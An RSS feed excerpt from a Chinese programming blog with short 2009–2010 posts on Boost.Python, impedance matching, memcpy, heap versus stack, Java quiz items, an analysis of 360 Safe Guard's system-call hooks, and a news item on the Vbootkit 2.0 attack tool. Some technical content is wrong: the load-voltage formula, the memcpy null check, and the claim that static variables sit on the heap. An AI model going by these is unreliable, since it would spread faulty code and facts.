      <description>Technorati 标签: C++ , Python , Boost 【编者按】最近一直发Python的资料，是因为Python的脚本扩展性。现在.net的动态语言特性已经很强大了，似乎脚本的作用并不明显。但是对于老式的C++，如果能够结合脚本语言的动态性，引用最近流行的一句话：必可以形成犄角之势！C++调用Python可以通过API，也可以通过Boost库实现，Boost.Python就是对API的包装，方便调用而已。 这是一篇比较老的介绍Boost.Python的文章，权当入门吧。因为文中一些东西现在不对…… Boost.Python 是 Boost 中的一个组件， 使用它能够大大简化用 C++ 为 Python 写扩展库的步骤， 提高开发效率， 虽然目前它对 Python 嵌入 C++ 的支持还不是很多， 但也能提供很大方便。 另外， 华宇煜 也编写了一份关于 Boost.Python 简明教程 。 1 Boost 安装简介 在正式开始使用 Boost.Python 之前， 我们必须先编译 Boost。 首先到 Boost 的官方站点 下载 Boost 的源码包， 把它们解压到你喜欢的目录， 为编译做好准备。 另外， 在正式安装 Boost.Python 之前， 我们必须先正确安装 Python。 1.1 Linux 下的编译 首先切换到 Boost 源码所在的路径， 执行 ./configure 脚本， 为配置脚本提供 Python 运行环境相应的参数： ./configure --with-python=/usr/bin/python / --with-python-version=2.4 / --with-python-root=/usr 然后， 和绝大部分 Linux 程序一行， 执行 make 就可以开始编译了。 编译完毕后， 切换到 root 权限后再执行 make install ， 把 Boost 相应的头文件和库文件复制到相应的地方， 就可以使用了。 1.</description>
    </item>
    <item>
      <title>我的第一篇文章</title>
      <link>https://bchobby.github.io/posts/5f6ae7d0c3138133a6f556c43f184234/</link>
      <pubDate>Wed, 09 Jun 2010 14:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f6ae7d0c3138133a6f556c43f184234/</guid>
      <description>这就是我的第一篇文章。呵呵</description>
    </item>
    <item>
      <title>报表引擎 －扩展模型</title>
      <link>https://bchobby.github.io/posts/15538747af2adfb2f1586fbe77a6c495/</link>
      <pubDate>Wed, 09 Jun 2010 09:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15538747af2adfb2f1586fbe77a6c495/</guid>
      <description>介绍 本文档是参考润乾报表模型，继《报表应用思路》的进一步分析，说明平台报表中涉及的多个相关模型，为后续报表开发提供概念以及总体设计支持 术语 名称&#xA;说明&#xA;单元格&#xA;报表由行列整齐的格子组成，这些格子我们称为单元格，所有的单元格组成了报表。&#xA;主格和附属格&#xA;主格和附属格是互相关联的，当A单元格扩展时，B单元格被 同步复制，此时A单元格称为B单元格的主格，B单元格称为A单元格的附属单元格。&#xA;横伸主格&#xA;如果A单元格横向扩展则则A为横伸主格&#xA;纵展主格&#xA;如果A单元格纵向扩展则则A为纵展主格&#xA;合并单元格&#xA;多个连续的单元格通过合并操作后显示为一个大的格子，合并后的格子成为合并单元格&#xA;单元格属性值和表达式&#xA;单元格的大部分属性都有属性值和表达式两种。&#xA;属性值是在编辑报表时确定的，在运行期间不必经过运算，而表达式在运行期间需要经过运算而获得属性值。&#xA;单元格的层次坐标&#xA;通过单元格的坐标表示法唯一标识扩展后的格子&#xA;扩展概念 可扩展单元格 当单元格的数据值表达式包含集合函数时，该单元格默认为可扩展单元格,可以修改扩展方向属性为默认、横向扩展或者纵向扩展。对于不包含集合函数的单元格，扩展方向属性默认为不可扩展。 横向扩展 描述： 当单元格为可扩展单元格时，可以把该单元格的扩展方向设为横向扩展，此时该单元格会横向进行复制，复制单元格的数据值依次为集合函数的结果数据值，集合返回几个值，单元格就复制几个，这种现象称为单元格的横向扩展 单元格进行扩展时，主单元格或同级别单元格被拉大成合并单元格，附属单元格被复制　（参考主格和附属格的认定规则） 复制出来的新单元格的所有属性都引用被复制单元格的属性 例1：横向扩展 从下图中可以看出，B2单元格是横向扩展格，我们把B2单元格边框用颜色标识一下，以便扩展后容易识别，如下图所示 扩展前： B1&#xA;C1&#xA;B2&#xA;C2&#xA;B3&#xA;C3&#xA;扩展后： B1 F1&#xA;B2&#xA;F2&#xA;B3&#xA;F3&#xA;说明：在这个例子中，B2为横向扩展格，因此B3缺省为B2的附属单元格，因此当B2扩展时，B3被复制；B1虽然在B2的上方，但由于B1不是扩展格,所以不是B2的 横伸主格，B1和B2的横伸主格都是00格，因此B1和B2属于同一级别的单元格， 因此B2扩展的时候，也会把同级别单元格B1拉大。 例2：下方较高级别或同级别单元格被横向拉大 扩展前：假设B2是B1的附属单元格，B4也是B1的附属单元格，因此从逻辑上讲，B4至少和B2平级，当B2进行扩展时，B4应该延展，不应该复制 B1&#xA;C1&#xA;B2&#xA;C2&#xA;B3&#xA;C3&#xA;B4&#xA;C4&#xA;扩展后： B1&#xA;F1&#xA;B2&#xA;F2&#xA;B3&#xA;F3&#xA;B4&#xA;F4&#xA;纵向扩展 描述： 当单元格为可扩展单元格时，可以把该单元格的扩展方向设为纵向扩展，此时该单元格会纵向进行复制，复制单元格的数据值依次为表达式的结果数据值，表达式返回几个值，单元格就复制几个，这种现象称为单元格的纵向扩展 单元格进行扩展时，主单元格或同级别单元格被拉大成合并单元格，附属单元格被复制　（参考　主格和附属格的认定规则） 复制出来的新单元格的所有属性都引用被复制单元格的属性 例1：纵向扩展 从下图中可以看出，B2单元格是纵向扩展格，我们把B2单元格边框用颜色标识一下，以便扩展后容易识别，如下图所示 扩展前： A1</description>
    </item>
    <item>
      <title>怎样理解阻抗匹配？（转）</title>
      <link>https://bchobby.github.io/posts/b62c01918122b2cd3fa73ce4070937fc/</link>
      <pubDate>Mon, 07 Jun 2010 14:37:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b62c01918122b2cd3fa73ce4070937fc/</guid>
      <description>怎样理解阻抗匹配?&#xA;阻抗匹配是指信号源或者传输线跟负载之间的一种合适的搭配方式。阻抗匹配分为低频和高频两种情况讨论。&#xA;我们先从直流电压源驱动一个负载入手。由于实际的电压源，总是有内阻的(请参看输出阻抗一问)，我们可以把一个实际电压源，等效成一个理想的电压源跟一个电阻r串联的模型。假设负载电阻为R，电源电动势为U，内阻为r，那么我们可以计算出流过电阻R的电流为：I=U/(R+r)，可以看出，负载电阻R越小，则输出电流越大。负载R上的电压为：Uo=IR=U*[1+(r/R)]，可以看出，负载电阻R越大，则输出电压Uo越高。再来计算一下电阻R消耗的功率为：&#xA;P=I*I*R=[U/(R+r)]*[U/(R+r)]*R=U*U*R/(R*R+2*R*r+r*r)&#xA;=U*U*R/[(R-r)*(R-r)+4*R*r]&#xA;=U*U/{[(R-r)*(R-r)/R]+4*r}&#xA;对于一个给定的信号源，其内阻r是固定的，而负载电阻R则是由我们来选择的。注意式中[(R-r)*(R-r)/R]，当R=r时，[(R-r)*(R-r)/R]可取得最小值0，这时负载电阻R上可获得最大输出功率Pmax=U*U/(4*r)。即，当负载电阻跟信号源内阻相等时，负载可获得最大输出功率，这就是我们常说的阻抗匹配之一。对于纯电阻电路，此结论同样适用于低频电路及高频电路。当交流电路中含有容性或感性阻抗时，结论有所改变，就是需要信号源与负载阻抗的的实部相等，虚部互为相反数，这叫做共厄匹配。在低频电路中，我们一般不考虑传输线的匹配问题，只考虑信号源跟负载之间的情况，因为低频信号的波长相对于传输线来说很长，传输线可以看成是“短线”，反射可以不考虑(可以这么理解：因为线短，即使反射回来，跟原信号还是一样的)。从以上分析我们可以得出结论：如果我们需要输出电流大，则选择小的负载R;如果我们需要输出电压大，则选择大的负载R;如果我们需要输出功率最大，则选择跟信号源内阻匹配的电阻R。有时阻抗不匹配还有另外一层意思，例如一些仪器输出端是在特定的负载条件下设计的，如果负载条件改变了，则可能达不到原来的性能，这时我们也会叫做阻抗失配。&#xA;在高频电路中，我们还必须考虑反射的问题。当信号的频率很高时，则信号的波长就很短，当波长短得跟传输线长度可以比拟时，反射信号叠加在原信号上将会改变原信号的形状。如果传输线的特征阻抗跟负载阻抗不匹配(相等)时，在负载端就会产生反射。为什么阻抗不匹配时会产生反射以及特征阻抗的求解方法，牵涉到二阶偏微分方程的求解，在这里我们不细说了，有兴趣的可参看电磁场与微波方面书籍中的传输线理论。传输线的特征阻抗(也叫做特性阻抗)是由传输线的结构以及材料决定的，而与传输线的长度，以及信号的幅度、频率等均无关。例如，常用的闭路电视同轴电缆特性阻抗为75欧，而一些射频设备上则常用特征阻抗为50欧的同轴电缆。另外还有一种常见的传输线是特性阻抗为300欧的扁平平行线，这在农村使用的电视天线架上比较常见，用来做八木天线的馈线。因为电视机的射频输入端输入阻抗为75欧，所以300欧的馈线将与其不能匹配。实际中是如何解决这个问题的呢?不知道大家有没有留意到，电视机的附件中，有一个300欧到75欧的阻抗转换器(一个塑料包装的，一端有一个圆形的插头的那个东东，大概有两个大拇指那么大的)?它里面其实就是一个传输线变压器，将300欧的阻抗，变换成75欧的，这样就可以匹配起来了。这里需要强调一点的是，特性阻抗跟我们通常理解的电阻不是一个概念，它与传输线的长度无关，也不能通过使用欧姆表来测量。为了不产生反射，负载阻抗跟传输线的特征阻抗应该相等，这就是传输线的阻抗匹配。如果阻抗不匹配会有什么不良后果呢?如果不匹配，则会形成反射，能量传递不过去，降低效率;会在传输线上形成驻波(简单的理解，就是有些地方信号强，有些地方信号弱)，导致传输线的有效功率容量降低;功率发射不出去，甚至会损坏发射设备。如果是电路板上的高速信号线与负载阻抗不匹配时，会产生震荡，辐射干扰等。&#xA;当阻抗不匹配时，有哪些办法让它匹配呢?第一，可以考虑使用变压器来做阻抗转换，就像上面所说的电视机中的那个例子那样。第二，可以考虑使用串联/并联电容或电感的办法，这在调试射频电路时常使用。第三，可以考虑使用串联/并联电阻的办法。一些驱动器的阻抗比较低，可以串联一个合适的电阻来跟传输线匹配，例如高速信号线，有时会串联一个几十欧的电阻。而一些接收器的输入阻抗则比较高，可以使用并联电阻的方法，来跟传输线匹配，例如，485总线接收器，常在数据线终端并联120欧的匹配电阻。&#xA;为了帮助大家理解阻抗不匹配时的反射问题，我来举两个例子：假设你在练习拳击——打沙包。如果是一个重量合适的、硬度合适的沙包，你打上去会感觉很舒服。但是，如果哪一天我把沙包做了手脚，例如，里面换成了铁沙，你还是用以前的力打上去，你的手可能就会受不了了——这就是负载过重的情况，会产生很大的反弹力。相反，如果我把里面换成了很轻很轻的东西，你一出拳，则可能会扑空，手也可能会受不了——这就是负载过轻的情况。另一个例子，不知道大家有没有过这样的经历：就是看不清楼梯时上/下楼梯，当你以为还有楼梯时，就会出现“负载不匹配”这样的感觉了。当然，也许这样的例子不太恰当，但我们可以拿它来理解负载不匹配时的反射情况。&#xA;==========================================================================&#xA;作者：老杨(武汉)&#xA;由于普通的传输线阻抗Z0通常在 50Ω左右，而负载阻抗通常在几千欧姆到几十千欧姆。因此，在负载端实现阻抗匹配比较困难。然而，由于信号源端(输出)阻抗通常比较小，大致为十几欧姆。因此在源端实现阻抗匹配要容易的多。如果在负载端并接电阻，电阻会吸收部分信号对传输不利(我的理解).&#xA;当选择TTL/CMOS标准 24mA驱动电流时，其输出阻抗大致为13Ω。若传输线阻抗Z0=50Ω，那么应该加一个33Ω的源端匹配电阻。13Ω+33Ω=46Ω (近似于50Ω，弱的欠阻尼有助于信号的setup时间)&#xA;当选择其他传输标准和驱动电流时，匹配阻抗会有差异。在高速的逻辑和电路设计时，对一些关键的信号，如时钟、控制信号等，我们建议一定要加源端匹配电阻。&#xA;这样接了信号还会从负载端反射回来，因为源端阻抗匹配，反射回来的信号不会再反射回去。&#xA;转载于:https://www.cnblogs.com/zyjmlz/archive/2010/06/07/1753192.html</description>
    </item>
    <item>
      <title>在北京注册科技类公司的经历（完）：总结</title>
      <link>https://bchobby.github.io/posts/fc71e7026ad0b1660499802bb0d86694/</link>
      <pubDate>Thu, 06 May 2010 19:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc71e7026ad0b1660499802bb0d86694/</guid>
      <description>第一：首先确立公司的股东、股东股权比例以及出资额（如果注册资本分期交付的话，需要确定注册时各股东交付的资本额）、公司法人、公司名字（可以多想几个）；&#xA;第二：确定一个业务办理人专门负责办理公司注册业务。如果自己办的话，最好是股东之一。这个人最好在办完手续前别换。确定了这个人，他就可以去领名称预审表、填 表、交表，等结果了。同时，去刻一个法人名章，打听好工商局指定的可以办公司入资的银行，选定一个（最好人少的，在办事大厅附近有营业网点的），每个股东在这银行开一个活期账户（必须的）。在办理入资手续之前，每个股东把自己的出资存到账户里备着；&#xA;第三：名称预审通过后，领名称预审通知书、企业设立申请书，去办银行入资；&#xA;第四：入资后去会计师事务所办验资报告（费用需要几百到几千不等）；&#xA;第五：拿到验资报告后，去工商交企业设立申请书；&#xA;第六：领执照；&#xA;第七：刻章；&#xA;第八：办理组织机构代码证、税务登记证、统计证；&#xA;第九：税务报道；&#xA;第十：在银行设立基本户；&#xA;第十一：划资；&#xA;第十二：开始挣钱！</description>
    </item>
    <item>
      <title>×××连接报789错误解决方法</title>
      <link>https://bchobby.github.io/posts/9e024ebab02836820c319cf5bc3fd3bf/</link>
      <pubDate>Fri, 26 Mar 2010 11:02:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e024ebab02836820c319cf5bc3fd3bf/</guid>
      <description>1. 单击“开始”，单击“运行”，键入“regedit”，然后单击“确定”&#xA;2. 找到下面的注册表子项，然后单击它：&#xA;HKEY_LOCAL_MACHINE\&#xA;System\CurrentControlSet\Services\Rasman\Parameters&#xA;3. 在“编辑”菜单上，单击“新建”-&amp;gt;“DWORD值”&#xA;4. 在“名称”框中，键入“ProhibitIpSec”&#xA;5. 在“数值数据”框中，键入“1”，然后单击“确定”&#xA;6. 退出注册表编辑器，然后重新启动计算机&#xA;转载于:https://blog.51cto.com/ljh9527/288141</description>
    </item>
    <item>
      <title>Lotus Notes email via vbscript</title>
      <link>https://bchobby.github.io/posts/f318f4b572331eebe44acf291e8731bc/</link>
      <pubDate>Mon, 22 Mar 2010 21:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f318f4b572331eebe44acf291e8731bc/</guid>
      <description>My company just migrated to Lotus Notes emailing system and I need to convert all our current web applications to communicate using Lotus Notes. The application that I currently needs to change is our Online Leave Application which was written in vbscript. I have created a new sendmail function to send mail via lotus notes in the web page, however I am getting error message that I am unable to createobject(&#34;</description>
    </item>
    <item>
      <title>MySQL: Unknown type &#39;246 in binary-encoded result set.</title>
      <link>https://bchobby.github.io/posts/54646ea27edddacb27de724b66371d9d/</link>
      <pubDate>Fri, 19 Mar 2010 13:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54646ea27edddacb27de724b66371d9d/</guid>
      <description>在执行SUM函数时报错，COUNT函数却可以正常使用。&#xA;百度了下，说是MYSQL5在decimal类型上有BUG，需要改成int。可是我明明就是用int…… = =&#xA;又说jar包版本太低，于是将3.2.0的换成5.0.8的，导入一堆jar包。结果运行起来PreparedStatement的asSql方法 报空指针。&#xA;换成5.0.6的jar包，终于正常了啊 T O T</description>
    </item>
    <item>
      <title>需要一个1000000的数组实现方法</title>
      <link>https://bchobby.github.io/posts/93ccd4e4356bf7f48438081a8dba7aa4/</link>
      <pubDate>Thu, 18 Mar 2010 09:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93ccd4e4356bf7f48438081a8dba7aa4/</guid>
      <description> 今天在网上看到如题的一个帖子，觉得值得收藏一下&#xA;实现方法：&#xA;1. 放在全局区&#xA;static int c[1000 * 1000];&#xA;2. 动态分配.&#xA;int *c;&#xA;c = malloc(sizeof(int) * 1000 * 1000);&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;stdlib.h&amp;gt;&#xA;int main()&#xA;{&#xA;int *p = (int *)malloc(1000000*sizeof(int));&#xA;if(p) {&#xA;printf(&#34;success!/n&#34;);&#xA;}&#xA;else {&#xA;printf(&#34;failed!/n&#34;);&#xA;}&#xA;free(p);&#xA;return 0;&#xA;}&#xA;知识链接：堆和栈的区别&#xA;堆：&#xA;静态变量和全局变量一般存放在堆中，malloc函数申请的空间也是存放在堆中&#xA;栈：&#xA;子函数入口的临时变量和局部变量，这一类主要存放在栈中&#xA;1) 在栈上创建。在执行函数时，函数内局部变量的存储单元都在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中，一般使用寄存器来存取，效率很高，但是分配的内存容量有限。 2) 从堆上分配，亦称动态内存分配。程序在运行的时候用malloc或new申请任意多少的内存，程序员自己负责在何时用free或delete来释放内存。动态内存的生存期由程序员自己决定，使用非常灵活。 3) 从静态存储区域分配。内存在程序编译的时候就已经分配好，这块内存在程序的整个运行期间都存在。例如全局变量，static变量。 4) 文字常量分配在文字常量区，程序结束后由系统释放。 5）程序代码区。 </description>
    </item>
    <item>
      <title>私有地址</title>
      <link>https://bchobby.github.io/posts/86f55334531b6f00c23b839691923385/</link>
      <pubDate>Wed, 10 Mar 2010 10:14:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86f55334531b6f00c23b839691923385/</guid>
      <description>私有地址（Private address）属于非注册地址，专门为组织机构内部使用。 以下表列出留用的内部寻址地址 A类 10.0.0.0 --10.255.255.255&#xA;B类 172.16.0.0--172.31.255.255&#xA;C类 192.168.0.0--192.168.255.255 1. A类地址 ⑴ A类地址第1字节为网络地址，其它3个字节为主机地址。另外第1个字节的最高位固定为0。 ⑵ A类地址范围：1.0.0.1到126.255.255.254。 ⑶ A类地址中的私有地址和保留地址： ①10.0.0.0到10.255.255.255是私有地址（所谓的私有地址就是在互联网上不使用，而被用在局域网络中的地址）。 ② 127.0.0.0到127.255.255.255是保留地址，用做循环测试用的。 2. B类地址 ⑴ B类地址第1字节和第2字节为网络地址，其它2个字节为主机地址。另外第1个字节的前两位固定为10。 ⑵ B类地址范围：128.0.0.1到191.255.255.254。 ⑶ B类地址的私有地址和保留地址 ① 172.16.0.0到172.31.255.255是私有地址 ②169.254.0.0到169.254.255.255是保留地址。如果你的IP地址是自动获取IP地址，而你在网络上又没有找到可用的DHCP服务器，这时你将会从169.254.0.0到169.254.255.255中临得获得一个IP地址。 3. C类地址 ⑴C类地址第1字节、第2字节和第3个字节为网络地址，第4个个字节为主机地址。另外第1个字节的前三位固定为110。 ⑵ C类地址范围：192.0.0.1到223.255.255.254。 ⑶ C类地址中的私有地址：192.168.0.0到192.168.255.255是私有地址。</description>
    </item>
    <item>
      <title>memcpy的用法总结</title>
      <link>https://bchobby.github.io/posts/fae40b85c3266761c346d82f8d40210d/</link>
      <pubDate>Mon, 01 Feb 2010 00:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fae40b85c3266761c346d82f8d40210d/</guid>
      <description>1、memcpy 函数用于 把资源内存（src所指向的内存区域） 拷贝到目标内存（dest所指向的内存区域）；拷贝多少个？有一个size变量控制&#xA;拷贝的字节数；&#xA;函数原型：void *memcpy(void *dest, void *src, unsigned int count);&#xA;用法：（1）可以拷贝任何类型的对象，因为函数的参数类型是void*（未定义类型指针），也就是说传进去的实参可以是int*，short*，char*等等，&#xA;但是由于函数拷贝的过程是一个字节一个字节的拷贝的，所以实际操作的时候要把void*强制转化为char*，这样在指针加的时候才会保证每次加一个字节，呵呵&#xA;函数源代码实现：&#xA;void *memcpy1(void *desc,const void * src,size_t size)&#xA;{&#xA;if((desc == NULL) &amp;amp;&amp;amp; (src == NULL))&#xA;{&#xA;return NULL;&#xA;}&#xA;unsigned char *desc1 = (unsigned char*)desc;&#xA;unsigned char *src1 = (unsigned char*)src;&#xA;while(size-- &amp;gt;0)&#xA;{&#xA;*desc1 = *src1;&#xA;desc1++;&#xA;src1++;&#xA;}&#xA;return desc;&#xA;}&#xA;int _tmain(int argc, _TCHAR* argv[])&#xA;{&#xA;int dest[2] = {0};</description>
    </item>
    <item>
      <title>该重装系统了</title>
      <link>https://bchobby.github.io/posts/d3125ce3491bad0250b47ecfadb40a8f/</link>
      <pubDate>Wed, 27 Jan 2010 20:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3125ce3491bad0250b47ecfadb40a8f/</guid>
      <description>我比较懒，系统凑合用就行了。 所以一直用风评很差的Vista（随机送的 哈哈）而且杀毒也没装过。&#xA;家用电脑比较少用于写程序，昨天打开VC2008，才知道试用版到期了。找个序列号吧，程序有错误，进不到升级界面就挂了。&#xA;没办法，下载个Express版吧，然后系统提示C盘空间不足。一看，我×，30G满了，我没装啥东西啊。&#xA;先卸载VC2008试试，同样的错误，卸载失败。&#xA;下载一个绿色版VC6，编译，报程序兼容问题。。。彻底没辙了。&#xA;据说Win 7不错，我还是转向D版阵营好了，咱咋说也曾经为Windows交过许可费（含在电脑里了），用其D版来罪恶感稍微少那么一点点，哈哈。</description>
    </item>
    <item>
      <title>用加密狗控制软件的授权(C#)</title>
      <link>https://bchobby.github.io/posts/ec01a73c2b249e3d38fb5127b3b55779/</link>
      <pubDate>Thu, 21 Jan 2010 15:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec01a73c2b249e3d38fb5127b3b55779/</guid>
      <description>加密狗授权方式介绍 每只加密狗都有一个固定的序列号，并且一般是无法修改的。软件运行时读取加密狗的序列号进行判断，序列号通过验证后才能正常使用软件。 选购一套加密狗开发套件 我选购了SaftNet的USB软件狗，入手后查阅开发资料(不同品牌的加密狗开发资料一般都不同)，整理需要用到的开发资源如下： SoftDogSetup.dll：提供加密狗驱动相关操作的DLL 需要用到以下方法： (1)获取狗驱动程序安装信息接口函数GetDogDriverInfo，定义如下： int PASCAL GetDogDriverInfo()； 参数：无 返回值： 0 没有安装驱动程序 1 驱动版本相同(并口和usb) 2 USB驱动版本相同 3 并口驱动版本相同 4 已安装旧版本驱动 (并口和usb) 5 已安装旧版本USB驱动 6 已安装旧版本并口驱动 7 已安装新版本驱动 (并口和usb) 8 已安装新版本USB驱动 9 已安装新版本并口驱动 3008 没有管理员权限 (2)驱动安装的函数接口InstDriver，定义如下: Int PASCAL InstDriver(int iFlag)； 参数： iFlag = 1 只安装USB狗驱动 iFlag = 2 只安装并口狗驱动 iFlag = 3 安装并口狗驱动和USB狗驱动 返回值： 如果运行成功则返回0,否则返回错误值。 (3)驱动卸载的函数接口UninstallDriver，定义如下: int PASCAL UninstallDriver(int iFlag)； 参数： iFlag = 1 只卸载USB狗驱动 iFlag = 2 只卸载并口狗驱动 iFlag = 3 卸载并口狗驱动和USB狗驱动 返回值： 如果运行成功则返回0，否则返回错误值。 win32dll.</description>
    </item>
    <item>
      <title>64位JRE对32位Java应用的兼容性问题</title>
      <link>https://bchobby.github.io/posts/bad7beedfd7d2200190f2ebf75cbe32b/</link>
      <pubDate>Fri, 01 Jan 2010 12:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bad7beedfd7d2200190f2ebf75cbe32b/</guid>
      <description>刚在本子上装了Windows 7 x64，然后装了64位的JRE，发现Eclipse和OO有些怪异的行为。具体而言就是程序无法正确结束：点窗口右上方的叉不好使了。点了后进程并没有结束，而只是在当前窗口和后台窗口之间切换。正在下32位的JRE，等装上看看结果。&#xA;看起来应该有两种方法解决：用32位的JRE或者换成64位的Eclipse和OO。&#xA;解决：直接下了一个32位的jre装上就行了。从任务管理器上来看，eclipse和oo都是32位的。</description>
    </item>
    <item>
      <title>Java基础练习题 考试题 笔试题 面试题 （3）</title>
      <link>https://bchobby.github.io/posts/605151576a2d882f3cefd52cfac5cb7a/</link>
      <pubDate>Mon, 07 Dec 2009 12:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/605151576a2d882f3cefd52cfac5cb7a/</guid>
      <description>八、继承与多态&#xA;1）以下程序调试结果为：&#xA;class Base{&#xA;Base(){&#xA;int i = 100; System.out.print (i);&#xA;}&#xA;}&#xA;public class Pri extends Base{&#xA;static int i = 200;&#xA;public static void main(String argv[]){&#xA;Pri p = new Pri();&#xA;System.out.print(i);&#xA;}&#xA;}&#xA;A．编译错误 B．200 C．100200 D．100 （2） 以下程序调试结果为：&#xA;public class Test {&#xA;int m=5;&#xA;public void some(int x) {&#xA;m=x;&#xA;}&#xA;public static void main(String args []) {&#xA;new Demo().some(7);&#xA;}&#xA;}&#xA;class Demo extends Test {</description>
    </item>
    <item>
      <title>Java基础练习题 考试题 笔试题 面试题</title>
      <link>https://bchobby.github.io/posts/7985e6884ca3afcb6ded4c66cc934627/</link>
      <pubDate>Mon, 07 Dec 2009 12:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7985e6884ca3afcb6ded4c66cc934627/</guid>
      <description>一、简单Java程序调试&#xA;1）以下哪个是Java应用程序main方法的有效定义?&#xA;A. public static void main();&#xA;B. public static void main( String args );&#xA;C. public static void main( String args[] );&#xA;D. public static void main( Graphics g );&#xA;E. public static boolean main( String a[] );&#xA;2) 编译和运行以下代码的结果为：&#xA;public class MyMain{&#xA;public static void main(String argv){&#xA;System.out.println(&#34;Hello cruel world&#34;);&#xA;}&#xA;}&#xA;A．编译错误；&#xA;B．运行输出 &#34;Hello cruel world&#34;；&#xA;C．编译无错，但运行时指示没有定义构造方法。&#xA;D．编译无错，但运行时指示没有正确定义main方法。&#xA;3） 下列选项中不属于Java虚拟机的执行特点的一项是：&#xA;A．异常处理 B．多线程 C．动态链接 D．简单易学&#xA;4） 不属于Java语言特点的一项是：</description>
    </item>
    <item>
      <title>分析了一下360安全卫士的HOOK</title>
      <link>https://bchobby.github.io/posts/999113982bf846e2c58e42e38ba9a778/</link>
      <pubDate>Tue, 10 Nov 2009 21:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/999113982bf846e2c58e42e38ba9a778/</guid>
      <description>by： achillis 分析了一下360的HOOK,通过直接hook KiFastCallEntry实现对所有系统调用的过滤。&#xA;我分析的版本如下：&#xA;主程序版本: 6.0.1.1003&#xA;HookPort.sys版本: 1, 0, 0, 1005&#xA;HookPort.sys的TimeStamp: 4A8D4AB8&#xA;简单说明：360把所有被hook的系统服务的过滤函数放在了一个表里，索引即对应的系统服务在该过滤函数表中的索引。&#xA;所有列出来的函数都会被hook掉的，是否处理指某个系统服务有没有相应的过滤函数进行处理，拒绝还是放行就是在过滤函数中完成判断的。&#xA;不处理的系统服务，将会直接调用原始服务例程。&#xA;函数如下：&#xA;服务名称 索引 是否处理 备注&#xA;==============================================================================&#xA;NtCreateKey 0x00 否&#xA;NtQueryValueKey 0x01 是&#xA;NtDeleteKey 0x02 是&#xA;NtDeleteValueKey 0x03 是&#xA;NtRenameKey 0x04 是&#xA;NtReplaceKey 0x05 是&#xA;NtRestoreKey 0x06 是&#xA;NtSetValueKey 0x07 是&#xA;NtCreateFile 0x08 是&#xA;NtFsControl 0x09 是&#xA;NtSetInformationFile 0x0A 是&#xA;NtWriteFile 0x0B 是&#xA;NtWriteFileGather 0x0B 是 //和NtWriteFile共用一个过滤函数&#xA;NtCreateProcess 0x0D 是&#xA;NtCreateProcessEx 0x0E 是</description>
    </item>
    <item>
      <title>Open Source Vbootkit 2.0 Attack Tool for Windows 7</title>
      <link>https://bchobby.github.io/posts/dd420fbac9e281cb72f579e697f6ca39/</link>
      <pubDate>Tue, 10 Nov 2009 21:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd420fbac9e281cb72f579e697f6ca39/</guid>
      <description>http://www.findmysoft.com/news/Open-Source-Vbootkit-2-0-Attack-Tool-for-Windows-7/&#xA;Windows 7 Release Candidate is now out and available for public download, and so is the open source attack tool Vbootkit 2.0 created by security researchers Vipin Kumar and Nitin Kumar. The source code of the attack tool has been released under a General Public License (GPL), meaning that anyone can now use it to compromise the Windows 7 operating system. With Vbootkit 2.0, an attacker could take full control of the OS because there is a design problem within Windows 7.</description>
    </item>
    <item>
      <title>C# 写pdf</title>
      <link>https://bchobby.github.io/posts/113c8772e6c3b18a098525abbdd63abe/</link>
      <pubDate>Fri, 06 Nov 2009 13:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113c8772e6c3b18a098525abbdd63abe/</guid>
      <description>using iTextSharp.text;&#xA;using iTextSharp.text.pdf;&#xA;//第一步，创建一个 iTextSharp.text.Document对象的实例：&#xA;Document document = new Document();&#xA;//第二步，为该Document创建一个Writer实例：&#xA;PdfWriter.getInstance(document, new FileStream(@&#34;C:/Chap0101.pdf&#34;, FileMode.Create));&#xA;//第三步，打开当前Document&#xA;document.Open();&#xA;//第四步，为当前Document添加内容：&#xA;document.Add(new Paragraph(&#34;Hello World&#34;));&#xA;//第五步，关闭Document&#xA;Graphic grx = new Graphic();&#xA;//添加一个矩形&#xA;grx.rectangle(100, 700, 100, 100);&#xA;// 添加一条斜线&#xA;grx.moveTo(100, 700);&#xA;grx.lineTo(200, 800);&#xA;// 将图形显示出来&#xA;grx.stroke();&#xA;document.Add(grx);&#xA;document.Close();</description>
    </item>
    <item>
      <title>UG OPEN C API 函数参考手册(nx6) CHM版</title>
      <link>https://bchobby.github.io/posts/b0746dba19f84c939a52b6343c506214/</link>
      <pubDate>Sat, 31 Oct 2009 09:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0746dba19f84c939a52b6343c506214/</guid>
      <description>首先感谢原作者！ 这个是UG NX6 Open C的CHM文件版&#xA;不用安装UG帮助，方便携带和使用。&#xA;下载地址</description>
    </item>
    <item>
      <title>grid 中 如何让滚动条滚动到指定的位置?</title>
      <link>https://bchobby.github.io/posts/a10f6fbeef291c48ef1082c0549446b5/</link>
      <pubDate>Thu, 29 Oct 2009 20:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a10f6fbeef291c48ef1082c0549446b5/</guid>
